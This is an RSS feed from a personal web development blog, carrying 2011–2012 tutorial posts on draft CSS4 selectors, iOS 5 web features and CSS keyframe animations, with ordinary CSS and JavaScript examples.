<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>samuli.hakoniemi.net</title>
	<atom:link href="http://samuli.hakoniemi.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://samuli.hakoniemi.net</link>
	<description></description>
	<lastBuildDate>Thu, 10 May 2012 07:32:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
	<atom:link rel='hub' href='http://samuli.hakoniemi.net/?pushpress=hub'/>
		<item>
		<title>Peek into CSS4</title>
		<link>http://samuli.hakoniemi.net/peek-into-css4/</link>
		<comments>http://samuli.hakoniemi.net/peek-into-css4/#comments</comments>
		<pubDate>Tue, 08 May 2012 20:15:44 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[css4]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=824</guid>
		<description><![CDATA[We all know that CSS3 has emerged in past couple of years a lot, and everyone is talking about it. There are many new features and properties that are well implemented in modern browsers.

But lately there has been some buzz going around CSS4. CSS Working Group has published a first working draft over half a year ago with many new proposals. CSS4 isn't going to replace CSS3, but the work on specifications will go on parallel with CSS3 Modules.

In this article I'll go through some of the most interesting proposals for CSS4. There are many new concepts, including such as parent selector, UI states pseudo-classes, Logical Combinations and Namespaces.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fpeek-into-css4%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fpeek-into-css4%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<div class='ingress'>We all know that CSS3 has emerged in past couple of years a lot, and everyone is talking about it. There are many new features and properties that are well implemented in modern browsers.</p>
<p>But lately there has been some buzz going around CSS4. CSS Working Group has published a <a rel='external' href='http://www.w3.org/TR/selectors4/'>first working draft</a> over half a year ago with many new proposals. CSS4 isn&#8217;t going to replace CSS3, but the work on specifications will go on parallel with CSS3 Modules.</p>
<p>In this article I&#8217;ll go through some of the most interesting proposals for CSS4. There are many new concepts, including such as parent selector, UI states pseudo-classes, Logical Combinations and Namespaces.</p>
<p>This article is based on my presentation: <b>&#8220;CSS3 &#8211; The Present and The Future&#8221;</b> which contains a section <a rel='external' href='http://css3.hakoniemi.net/#slide23/page1'>Peek into CSS4</a>.</div>
<h2>Table of Contents</h2>
<ul>
<li><a href='#parentSelector'>Parent Selector</a></li>
<li><a href='#uiStatesPseudoClasses'>UI States pseudo-classes</a></li>
<li><a href='#treeStructuralPseudoClasses'>Tree-Structural pseudo-classes</a></li>
<li><a href='#logicalCombinations'>Logical Combinations</a></li>
<li><a href='#referenceCombinators'>Reference Combinators</a></li>
<li><a href='#mediaQueries'>Media Queries Level 4</a></li>
<li><a href='#namespaces'>CSS3 Namespaces</a></li>
<li><a href='#newPropertiesForBorders'>New Properties for Borders</a></li>
<li><a href='#resources'>Resources</a></li>
</ul>
<h2 id='parentSelector'>Parent Selector</h2>
<p>This is the magical selector many developers have been craving for. Earlier there hasn&#8217;t been an option to select the parent of an element. In CSS4 this is possible.</p>
<p>Parent selector was earlier proposed to be declared by using &#8220;$&#8221; rule, eg. <strong>$fieldset input:focus</strong>. At the moment it is proposed that the rule is following:</p>
<pre name="code" class="css">
fieldset! > input:focus {
  background-color:yellow;
}</pre>
<p>If you&#8217;re interested in starting to use parent selector today, check jQuery-powered polyfill: <a rel='external' href='https://github.com/Idered/cssParentSelector'>cssParentSelector</a> for it.</p>
<h2 id='uiStatesPseudoClasses'>UI States pseudo-classes</h2>
<p>UI states pseudo-classes are meant to target different states an element can have. These are defined in <a rel='external' href='http://www.w3.org/TR/css3-ui/'>CSS Basic User Interface Module</a>, which have been moved into CSS4 proposal. Some of them, like <i>:enabled</i> and <i>:disabled</i> are already specified in CSS3, while others, like <i>:valid</i> and <i>:invalid</i> are new pseudo-classes in CSS.</p>
<p>Here is the list of UI states pseudo-classes:</p>
<ul>
<li>:enabled / :disabled</li>
<li>:checked</li>
<li>:indeterminate</li>
<li>:default</li>
<li>:valid / :invalid</li>
<li>:in-range / :out-of-range</li>
<li>:required / :optional</li>
<li>:read-only / :write-only</li>
</ul>
<p>Most of them are self-explanatory, but you can read more detailed description <a rel='external' href='http://dev.w3.org/csswg/selectors4/#ui-states-pseudos'>from the draft</a>.</p>
<h2 id='treeStructuralPseudoClasses'>Tree-Structural pseudo-classes</h2>
<p>Tree-structural pseudo-classes (eg. <i>:nth-child()</i> and <i>:nth-of-type()</i>) has now two new pseudo-classes: <i>:nth-match()</i> and <i>:nth-last-match()</i>.</p>
<p>What <i>:nth-match()</i> actually is? It&#8217;s very similar to the logic with <a rel='external' href='http://dev.w3.org/csswg/selectors4/#nth-child-pseudo'>:nth-child()</a>.</p>
<p><b>:nth-match(an+b of selector-list)</b> notation represents an element that has a parent and has <i>an+b-1</i> siblings that match the given selector-list before it in the document tree, for any zero or positive integer value of <i>n</i>.</p>
<p>In practice, :nth-match matches with <u>the given selector-list</u> while :nth-child matches with the given selectors children elements. This happens by including <i>of</i> keyword in selector. If you have the selector <i>input:nth-match(even of :enabled)</i>, it will first match the subset of input elements that are enabled and then match the even elements from that subset.</p>
<h2 id='logicalCombinations'>Logical Combinations</h2>
<p>Logical Combinations consists of two pseudo-classes: <i>:matches()</i> and <i>:not()</i>. The behavior of &#8220;Negation pseudo-class&#8221; :not() is most likely clear to you &#8211; eg. <i>input:not(:disabled)</i> matches with all the input elements that are not disabled. But :matches() might be a bit more strange:</p>
<h3 id='matchesAny'>Matches-Any pseudo-class</h3>
<p>The <i>:matches()</i> pseudo-class is the standardised version of Mozilla’s <i>:-moz-any()</i> pseudo class. This is useful for when you need a number of similar selector strings, but change one part such as the pseudo-classes.</p>
<p>Instead of writing <i>a:hover, a:focus, a:active</i>, one can write <i>a:matches(:hover, :focus, :active)</i> for same result.</p>
<h2 id='referenceCombinators'>Reference Combinators</h2>
<p>Reference combinators allow you to select elements that are referenced by ID by another element. This is better to be explained in practice:</p>
<p>The following example highlights an <i>input</i> element when its <i>label</i> is focused or hovered-over:</p>
<pre name='code' class='css'>
label:matches(:hover, :focus) /for/ input { /* association by "for" attribute */
    box-shadow: yellow 0 0 10px;
}
</pre>
<h2 id='mediaQueries'>Media Queries Level 4</h2>
<p>While writing this article, first draft of <a rel='external' href='http://dev.w3.org/csswg/css4-mediaqueries/'>Media Queries Level 4</a> was published. Unfortunately I won&#8217;t be writing more about Media Queries in this article, I just suggest reading the draft :).</p>
<h2 id='namespaces'>Namespaces</h2>
<p>Namespaces are actually proposed in <a rel='external' href='http://www.w3.org/TR/2011/REC-css3-namespace-20110929/'>CSS(3) Namespaces Module</a>, but it&#8217;s written pretty much the same time as first proposal of CSS4. And CSS4 proposal is heavily referring to the namespaces, so I feel this one is good to go through when speaking of CSS4.</p>
<p>CSS Namespaces has quite simple syntax. The <i>@namespace</i> declares a namespace prefix and associates it with a given namespace name, and &#8220;vertical bar&#8221; works as a selector delimiter. Consider following example:</p>
<pre name="code" class="css">
@namespace "http://www.example.com";
@namespace foo "http://www.example.com/foo";

h1 { font-size: 42px; } /* Belongs in example.com */
|h1 { font-size: 36px; } /* Belongs eg. in example.com/bar */
*|h1 { font-size: 32px; } /* Belongs in both namespaces */
foo|h1 { font-size: 28px; } /* Belongs in example.com/foo */
</pre>
<h2 id='newPropertiesForBorders'>New Properties for Borders</h2>
<p>Some new properties for borders are introduced in CSS4. The most obvious one is <i>border-corner-shape</i>, which allows values <i>curve | bevel | scoop | notch</i>. In addition, there are updates on border-images.</p>
<p>For further reading, see <a rel='external' href='http://dev.w3.org/csswg/css4-background/'>CSS Backgrounds and Borders Module Level 4</a>.</p>
<h2 id='resources'>Resources</h2>
<p>I have to admit that there is lot more in CSS4 Working Draft than it&#8217;s included in this article. Therefore I suggest you all to read following resources I&#8217;ve gathered about CSS4:</p>
<ul>
<li><a rel="external" href="http://www.w3.org/TR/selectors4/">W3C: CSS Selectors Level 4</a></li>
<li><a rel='external' href='http://dev.w3.org/csswg/selectors4/'>W3C: CSS Selectors Level 4 &#8211; Editor&#8217;s Draft</a></li>
<li><a rel='external' href='http://dev.w3.org/csswg/css4-background/'>W3C: CSS Backgrounds and Borders Module Level 4 &#8211; Editor&#8217;s Draft</a></li>
<li><a rel='external' href='http://dev.w3.org/csswg/css4-mediaqueries/'>W3C: Media Queries Level 4 &#8211; Editor&#8217;s Draft</a></li>
<li><a rel='external' href='http://end3r.com/slides/meet-css4/'>Presentation Slides: CSS4 and the Future of CSS</a></li>
<li><a rel="external" href="http://www.red-team-design.com/meet-the-css4-selectors">Meet the CSS4 Selectors</a></li>
<li><a rel="external" href="http://generatedcontent.org/post/10865123182/selectors4">What&#8217;s Slated for CSS4 Selectors</a></li>
<li><a rel="external" href="http://davidwalsh.name/css4-preview">CSS4 Preview &#8211; Selectors</a></li>
<li><a rel='external' href='http://favbulous.com/post/705/css4-sneak-peak'>CSS4 Sneak Peak</a></li>
<li><a rel='external' href='http://css4.pl/'>CSS4 Resources</a></li>
<li><a rel="external" href="http://peter.sh/files/examples/cross-fading.html">cross-fade() example</a>
                    </ul>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/peek-into-css4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iOS 5 and New Features for Web Developers</title>
		<link>http://samuli.hakoniemi.net/ios-5-and-new-features-for-web-developers/</link>
		<comments>http://samuli.hakoniemi.net/ios-5-and-new-features-for-web-developers/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 21:33:01 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[features]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[safari]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=777</guid>
		<description><![CDATA[<a href="/ios-5-and-new-features-for-web-developers"><img src="/wp-content/images/ios5-new-features/ios5-new-features.jpg" alt="iOS 5 and New Features for Web Developers" /></a>

<p>The final version of iOS 5 has been finally released and there's lots of buzz going around it's new features. Most of the discussion focuses on the operating system itself which is totally understandable. There are lots of improvements and nifty little features to play with.</p>

<p>But one thing that seems not to get such attention is what iOS 5 brings to us, web developers, and how it improves the experience with web applications.</p>

<p>In this article I'll go through most of the major features that are included in iOS 5 for web developer point-of-view.</p>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fios-5-and-new-features-for-web-developers%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fios-5-and-new-features-for-web-developers%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/ios5-new-features/ios5-new-features.jpg" alt="iOS 5 and New Features for Web Developers" /></p>
<div class="ingress">
<p>The final version of iOS 5 has been finally released and there&#8217;s lots of buzz going around it&#8217;s new features. Most of the discussion focuses on the operating system itself which is totally understandable. There are lots of improvements and nifty little features to play with.</p>
<p>But one thing that seems not to get such attention is what iOS 5 brings to us, web developers, and how it improves the experience with web applications.</p>
<p>In this article I&#8217;ll go through most of the major features that are included in iOS 5 for web developer point-of-view.</p>
</div>
<h2>Table of Contents</h2>
<ul>
<li><a href="#webkit-overflow-scrolling">-webkit-overflow-scrolling</a></li>
<li><a href="#position-fixed">position:fixed</a></li>
<li><a href="#new-input-types">New Input Types</a></li>
<li><a href="#woff-font-support">WOFF Font Support</a></li>
<li><a href="#web-workers">Web Workers API</a></li>
<li><a href="#content-editable">contentEditable</a></li>
<li><a href="#classlist">classList API</a></li>
<li><a href="#matchmedia">matchMedia()</a></li>
<li><a href="#changes-in-gesture-events">Changes in Gestures Events</a></li>
<li><a href="#compass">Compass</a></li>
<li><a href="#webgl">WebGL</a></li>
<li><a href="#anythingelse">Anything Else?</a></li>
</ul>
<h2><a name="webkit-overflow-scrolling"></a>-webkit-overflow-scrolling</h2>
<p>This is probably most anticipated feature for web applications. Until today it hasn&#8217;t been easily possible to add scrollable content in web document.</p>
<p>Briefly, all you need to define is:</p>
<pre name="code" class="css">elem {
 overflow:scroll;
 -webkit-overflow-scrolling:touch;
}</pre>
<p>To achieve proper scrolling support for iOS 4 and/or other devices, I strongly suggest using  <a rel="external" href="http://cubiq.org/iscroll-4">iScroll 4</a>.</p>
<p>And if you want to display scrollbars all the time, read this post: <a rel="external" href="http://simurai.com/post/8083942390/force-lion-scrollbar">Force Lion’s scrollbar back</a>. It will help you on displaying the scrollbar while user is not accessing the scrollable area, which is a very good visual guidance for user that content can be scrolled. But be warned: &#8220;custom&#8221; scrollbar won&#8217;t update it&#8217;s location while user is scrolling and meantime there are two scrollbars displayed.</p>
<h2><a name="position-fixed">position:fixed</a></h2>
<p>Position:fixed is well-known CSS property that hasn&#8217;t earlier been included in iOS. But now it&#8217;s there, ready to use.</p>
<p>I noticed that setting a fixed element it has partial transparency by default. You even can&#8217;t turn it off by setting opacity to 1.0. If you happen to know how to solve this, please comment on my blog.</p>
<h2><a name="new-input-types"></a>New Input Types</h2>
<p>iOS5 provides several new input types that didn&#8217;t exist earlier on iOS4. These input types are: <i>date</i>, <i>time</i>, <i>datetime</i>, <i>month</i> and <i>range</i>.</p>
<p>I have to mention that the user experience with <i>range</i> is awful &#8211; with your (fat) finger you end up selecting the whole control instead of value slider all the time.</p>
<p><strong>Note:</strong> input type=&#8221;file&#8221; isn&#8217;t still working. &#8220;Choose File&#8221; button is displayed, but at the same time it&#8217;s disabled.</p>
<h2><a name="woff-font-support">WOFF Font Support</a></h2>
<p>iOS 5 supports WOFF (Web Open Font Format) fonts. This is good news in a way. I haven&#8217;t personally tested whether there&#8217;s any benefit compared to SVG or TTF from a rendering or performance point-of-view.</p>
<h2><a name="web-workers">Web Workers</a></h2>
<p>Web Workers API is a bit less familiar for many developers. They allow to run long-running scripts without halting the user interface and they&#8217;re not interrupted by other actions.</p>
<p>The problem with Web Workers on iOS 5 is &#8211; as you may guess &#8211; the perfomance. You can try Web Workers with <a rel="external" href="http://pmav.eu/stuff/javascript-webworkers/">Javascript Web Workers Test</a>. But I have to mention that while it took only about five seconds with my workstation, the same execution time with my iPhone 4 was 106 seconds. So as you can see, there&#8217;s a huge difference on performance.</p>
<h2><a name="content-editable">contentEditable</a></h2>
<p>iOS 5 supports <i>contentEditable</i> attribute, which allows rich text editing (RTE) of content. This is very welcomed feature offering the possibility of building WYSIWYG editors that can be used eg. with iPad.</p>
<p>Read more about this feature at: <a rel="external" href="http://www.midwesternmac.com/blogs/jeff-geerling/wysiwyg-editing">WYSIWYG Editing (contentEditable support) in iOS 5</a>.</p>
<h2><a name="classlist">classList API</a></h2>
<p>ClassList API is very useful while writing native JavaScript. It has few simple functions (like add(), remove(), toggle()) that are meant for handling classNames in an element.</p>
<p>If you want to implement classList API and ensure backwards compatibility, use <a rel="external" href="https://github.com/eligrey/classList.js">classList.js</a> polyfill, written by Eli Grey.</p>
<h2><a name="matchmedia">matchMedia()</a></h2>
<p>Function matchMedia() is relatively new function for detecting media queries with JavaScript. The implementation is very simple:</p>
<pre name="code" class="javascript">
if (matchMedia("(min-width: 1024px)").matches) {
    alert('your screen is at least 1024px wide');
}
else {
    alert('your screen is less than 1024px wide');
}</pre>
<p>Can&#8217;t say how useful that is yet, since I&#8217;ve personally never used it before. But we&#8217;re living the times of Responsive Web Design and there may be conditions where this may be needed.</p>
<p>For browsers that doesn&#8217;t support matchMedia(), there is a <a rel="external" href="https://github.com/paulirish/matchMedia.js/blob/master/matchMedia.js">matchMedia.js</a> polyfill available, written by Paul Irish.</p>
<p>And if you&#8217;re more interested in similar logic, I suggest reading about <a rel="external" href="http://yepnopejs.com/">yepnope.js</a>.</p>
<h2><a name="changes-in-gestures-events">Changes in Gestures Events</a></h2>
<p>Gestures events (<i>gesturestart</i>, <i>gesturechange</i>, <i>gestureend</i>) now returns <i>pageX</i> and <i>pageY</i> values for events &#8211; in addition to <i>scale</i> and <i>rotate</i> values. These values didn&#8217;t exist in iOS4, forcing developer to retrieve X/Y-coordinates with corresponding touch events.</p>
<h2><a name="compass">Compass</a></h2>
<p>iOS 5 comes also with two neat properties: <i>webkitCompassHeading</i> and <i>webkitCompassAccuracy</i>. You can read more about them and test them at: <a rel="external" href="http://tripleodeon.com/2011/10/taking-a-new-device-api-for-a-spin">Taking a new device API for a spin</a>.</p>
<h2><a name="webgl">WebGL</a></h2>
<p>Well&#8230; WebGL is kind of implemented in iOS5. But only for iAd.</p>
<p>However there are rumors promising good, and already it&#8217;s said that &#8220;things are in place&#8221; but they&#8217;re just not fully working (or have been disabled). So, let&#8217;s keep our fingers crossed that next (minor) update will include support for WebGL.</p>
<h2><a name="anythingelse">Anything Else?</a></h2>
<p>Mark Hammonds has written a comprehensive article in mobiletuts+, titled <a rel="external" href="http://mobile.tutsplus.com/tutorials/mobile-web-apps/safari-5_html5/">iOS 5 for Web Devs: Safari Mobile Updates</a>. That&#8217;s really worth of reading!</p>
<p>And if you&#8217;re interested in browser performance in general, then you should read <a rel="external" href="http://www.blaze.io/mobile/ios5-top10-performance-changes/">iOS 5 Top 10 Browser Performance Changes</a>.</p>
<p>If there are other things to mention, feel free to comment and bring your ideas up. I&#8217;ll keep on updating this post right after new information arises about iOS 5.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/ios-5-and-new-features-for-web-developers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Having Fun With CSS Animations</title>
		<link>http://samuli.hakoniemi.net/having-fun-with-css-keyframes/</link>
		<comments>http://samuli.hakoniemi.net/having-fun-with-css-keyframes/#comments</comments>
		<pubDate>Wed, 25 May 2011 19:23:03 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[animations]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[css3]]></category>
		<category><![CDATA[keyframes]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=710</guid>
		<description><![CDATA[<a href="/having-fun-with-css-keyframes"><img src="/wp-content/images/css-keyframes/title-css3-keyframes.png" alt="Having Fun With CSS3 Keyframes" /></a>
More than two years ago CSS Animations were represented in WebKit. Up until now, they've been supported only in Safari and Chrome.

In this article we will go through what it takes to create keyframe animations. I'll create a simple demonstration of an icon character which comes alive with a little help of animation.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhaving-fun-with-css-keyframes%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhaving-fun-with-css-keyframes%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/css-keyframes/title-css3-keyframes.png" alt="Having Fun With CSS3 Keyframes" /></p>
<div class='ingress'>
<p>More than two years ago CSS Animations were represented in WebKit. Up until now, they&#8217;ve been supported only in Safari and Chrome.</p>
<p>Recently I noticed, when upgrading to Android 3.1 that it dramatically enhanced the performance of CSS Animations and Transitions. And only few days ago, Firefox 5 Beta was released which has decent support for keyframes, and also better performance for transitions. Therefore I decided to write a brief article about CSS Animations and using keyframes.</p>
<p>In this article we will go through what it takes to create keyframe animations. I&#8217;ll create a simple demonstration of an icon character which comes alive with a little help of keyframes.</p>
</div>
<h2>Foreword</h2>
<p>[tweetmeme]</p>
<p>This article won&#8217;t help with the basics and all the details of CSS Keyframes. If you&#8217;re unfamiliar with keyframes, I strongly suggest reading Smashing Magazine&#8217;s article <a rel="external" href="http://www.smashingmagazine.com/2011/05/17/an-introduction-to-css3-keyframe-animations/" title="An Introduction To CSS3 Keyframe Animations">&#8220;An Introduction To CSS3 Keyframe Animations&#8221;</a>.</p>
<p>If you&#8217;re also unfamiliar with CSS Transitions, you can also read my article <a href="/css3-transitions-are-we-there-yet/" title="CSS3 Transitions – Are We There Yet?">&#8220;CSS3 Transitions – Are We There Yet?&#8221;</a>.</p>
<p>It&#8217;s good to notice that there already exists tools for creating proper CSS Animations, like <a rel="external" href="http://animatable.com/" title="Animatable">Animatable</a> that are worth of checking. Especially, if you&#8217;re not that much of a fan writing endless keyframes rules and css declarations</p>
<h2>Browser Support</h2>
<p>I&#8217;ve tested this example with recent builds of Google Chrome, Firefox 5 Beta, iPhone 4 / iPad and Android 3.1 with Browser (Chrome) and Firefox Beta. So, if you&#8217;re viewing this article with any of those, then you&#8217;re good to go.</p>
<p>There are indications that also Opera will support CSS Animations in near future. Let&#8217;s see when that will be. However, Internet Explorer won&#8217;t be supporting CSS Animations &#8211; they&#8217;re not even supporting CSS Transitions yet.</p>
<h2>The Icon</h2>
<p>In this example we&#8217;ll build an icon with separate head, body and background. We&#8217;ll add some movement with keyframes to each object while trying to achieve as realistic result as possible without too much of an effort.</p>
<p>The character icon in demonstration is from <a rel="external" href="http://www.mikamobile.com/game3_1.html" title="Battleheart">Battleheart</a>, developed by Mika Mobile.</p>
<h2>The Head</h2>
<p><img src="/wp-content/images/css-keyframes/wiz-head.png" alt="Wizard's head" style="float:left;margin:0px 20px 10px 0px;" /> We start by defining the behavior of an animation for the head. This is done by defining a keyframes rule called &#8220;breathe-head&#8221;.</p>
<pre name="code" class="css">@-webkit-keyframes breathe-head {
    0% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
    40% {
        -webkit-transform: rotate(-3deg) translate3d(-2px, -1px, 0px);
    }

    100% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
}</pre>
<p><b>NOTE:</b> I&#8217;m using property called <i>translate3d</i> for moving the head slightly backwards. It&#8217;s good to understand that only transformable properties (+ opacity) can be animated with hardware acceleration. Translate3d(0,0,0) is good to have to ensure hardware acceleration of animations even if it&#8217;s not needed for any other use. I&#8217;ve even encountered many situations where animation performance hasn&#8217;t been smooth eg. on iOS Web Applications until (over)usage of translate3d().</p>
<h2>Twice the Fun!</h2>
<p>For some (unknown) reason, it isn&#8217;t possible to add -moz-keyframes rule at the same declaration, so we need to declare keyframes rules again:</p>
<pre name="code" class="css">@-moz-keyframes breathe-head {
    0% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
    40% {
        -moz-transform: rotate(-3deg) translate(-2px, -1px);
    }

    100% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
}</pre>
<p>I&#8217;m not using translate3d() since it seems Firefox only understands translate(). But it&#8217;s good enough for performance since it should be also hardware accelerated on Firefox.</p>
<h2>The Body</h2>
<p><img src="/wp-content/images/css-keyframes/wiz-body.png" alt="Wizard's body" style="float:left;margin:0px 20px 10px 0px;" /> Next, we&#8217;ll animate the body of the character. We don&#8217;t need any wildly bouncing animation since we&#8217;re operating with an (small) icon. Constant movement has to be subtle or otherwise it can start to irritate users:</p>
<pre name="code" class="css">@-webkit-keyframes breathe-body {
    0% {
        -webkit-transform: translate3d(0px,0px,0px);
    }

    40% {
        -webkit-transform: translate3d(0px,-3px,0px);
    }

    100% {
        -webkit-transform: translate3d(0px,0px,0px);
    }
}</pre>
<p>And the same rules needs to be applied for -moz-keyframes like we did with the head.</p>
<h2>The Background</h2>
<p><img src="/wp-content/images/css-keyframes/wiz-bg2.png" alt="Wizard's background" style="float:left;margin:0px 20px 10px 0px;" />I wanted to add something more to a movement and decided to draw a subtle background &#8220;sun&#8221; which keeps rotating behind the character:</p>
<pre name="code" class="css">@-webkit-keyframes rotate-bg {
    0% {
        -webkit-transform: rotate(0deg);
    }
    100% {
        -webkit-transform: rotate(360deg);
    }
}</pre>
<p>Rotating background is very straight-forwarded; we rotate it once per timeline we&#8217;ll define later on.</p>
<h2>Keyframes are Done &#8211; What Next?</h2>
<p>Now that we&#8217;ve defined keyframe rules, we must take them into use:</p>
<pre name="code" class="css">.character {
    -webkit-animation: breathe-body 3000ms infinite both ease-in-out;
    -moz-animation: breathe-body 3000ms infinite both ease-in-out;
}

.character .head {
    -webkit-animation: breathe-head 3000ms infinite both ease-in-out;
    -moz-animation: breathe-head 3000ms infinite both ease-in-out;
}

.rotating {
    -webkit-animation: rotate-bg 30s infinite linear;
    -moz-animation: rotate-bg 30s infinite linear;
}</pre>
<p>I&#8217;m using short-hand declarations, and eg. for <b>.character .head</b> we declare: <i>&#8220;Use breathe-head keyframe rules in a three seconds long loop which last infinite time and is animated with in-out easing equation&#8221;</i>.</p>
<p>Value &#8220;both&#8221; stands for animation-fill-mode should define the status of first and last keyframe. But in my case I didn&#8217;t notice anything special when I trying other possible values &#8220;forwards&#8221; or &#8220;backwards&#8221; (this could be since both start and end keyframe has similar values).</p>
<h2>The End Result</h2>
<p>I needed to declare more CSS for getting things in correct place. But the example code above is practically the soul and heart of the animation. But here is the end result of an animated wizard icon:</p>
<style type="text/css">
@-webkit-keyframes breathe-head {
    0% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
    40% {
        -webkit-transform: rotate(-3deg) translate3d(-2px, -1px, 0px);
    }
    100% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
}
@-moz-keyframes breathe-head {
    0% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
    40% {
        -moz-transform: rotate(-3deg) translate(-2px, -1px);
    }
    100% {-moz-transform: rotate(1deg) translate(0px, 0px);}
}
@-webkit-keyframes breathe-body {
    0% {-webkit-transform: translate3d(0px,0px,0px);}
    40% {-webkit-transform: translate3d(0px,-3px,0px);}
    100% {-webkit-transform: translate3d(0px,0px,0px);}
}
@-moz-keyframes breathe-body {
    0% {
        -moz-transform: translate(0px,0px);
    }
    40% {
        -moz-transform: translate(0px,-3px);
    }
    100% {
        -moz-transform: translate(0px,0px);
    }
}
@-webkit-keyframes rotate-bg {
    0% {
        -webkit-transform: rotate(0deg);
    }
    100% {
        -webkit-transform: rotate(360deg);
    }
}
@-moz-keyframes rotate-bg {
    0% {-moz-transform: rotate(0deg);}
    100% {-moz-transform: rotate(360deg);}
}
.icon {
    position:relative;
    overflow:hidden;
    z-index:2;
    left:250px;
    top:50px;
    margin:-48px 0px 0px -48px;
    width:96px;
    height:96px;
    border:5px solid #988033;
    background-color:#D0C080;
    -webkit-border-radius:6px;
    -webkit-box-shadow:0px 0px 10px rgba(96,64,32, 0.5);
    -webkit-transform:translate3d(0px,0px,0px);
    -moz-border-radius:6px;
    -moz-box-shadow:0px 0px 10px rgba(96,64,32, 0.5);
    -moz-transform:translate3d(0px,0px,0px);
}
.bg {
    position:absolute;
    left:-48px;
    top:-48px;
    width:192px;
    height:192px;
}
.rotating {
    background:url(/wp-content/images/css-keyframes/wiz-bg.png) center center no-repeat #D0C080;
    -webkit-animation: rotate-bg 30s infinite linear;
    -moz-animation: rotate-bg 30s infinite linear;
}
.character .head {
    width:58px;
    height:75px;
    -webkit-animation: breathe-head 3000ms infinite both ease-in-out;
    -moz-animation: breathe-head 3000ms infinite both ease-in-out;
}
.character {
    width:80px;
    height:96px;
    position:absolute;
    z-index:1;
    left:8px;top:16px;-webkit-animation: breathe-body 3000ms infinite both ease-in-out;-moz-animation: breathe-body 3000ms infinite both ease-in-out;
}
.wizard {background:url(/wp-content/images/css-keyframes/wiz-body.png) center center no-repeat;}
.wizard .head {background:url(/wp-content/images/css-keyframes/wiz-head.png) center center no-repeat;}
</style>
<div class="icon">
<div class="bg rotating"></div>
<div class="character wizard">
<div class="head"></div>
</div>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>How do you like it? It&#8217;s my first animation ever :).</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/having-fun-with-css-keyframes/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Quests and Missions in Gunshine.net</title>
		<link>http://samuli.hakoniemi.net/quests-and-missions-in-gunshine-net/</link>
		<comments>http://samuli.hakoniemi.net/quests-and-missions-in-gunshine-net/#comments</comments>
		<pubDate>Mon, 02 May 2011 20:40:37 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[games]]></category>
		<category><![CDATA[gunshine]]></category>
		<category><![CDATA[help]]></category>
		<category><![CDATA[missions]]></category>
		<category><![CDATA[quests]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=629</guid>
